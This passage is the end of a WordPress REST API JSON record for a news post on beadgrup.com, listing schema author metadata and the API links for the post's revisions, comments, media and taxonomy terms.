Daily"},"image":{"@id":"https:\/\/beadgrup.com\/news\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/beadgrup.com\/news\/#\/schema\/person\/a719f7580554c936bd23c302adc17bad","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/beadgrup.com\/news\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e1c424fe35b832f4b6879df2d6ef2c57?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e1c424fe35b832f4b6879df2d6ef2c57?s=96&d=mm&r=g","caption":"admin"},"sameAs":["https:\/\/beadgrup.com\/news"],"url":"https:\/\/beadgrup.com\/news\/author\/beadgrup\/"}]}},"_links":{"self":[{"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/posts\/1508","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/comments?post=1508"}],"version-history":[{"count":3,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/posts\/1508\/revisions"}],"predecessor-version":[{"id":6061,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/posts\/1508\/revisions\/6061"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/media\/1517"}],"wp:attachment":[{"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/media?parent=1508"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/categories?post=1508"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beadgrup.com\/news\/wp-json\/wp\/v2\/tags?post=1508"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}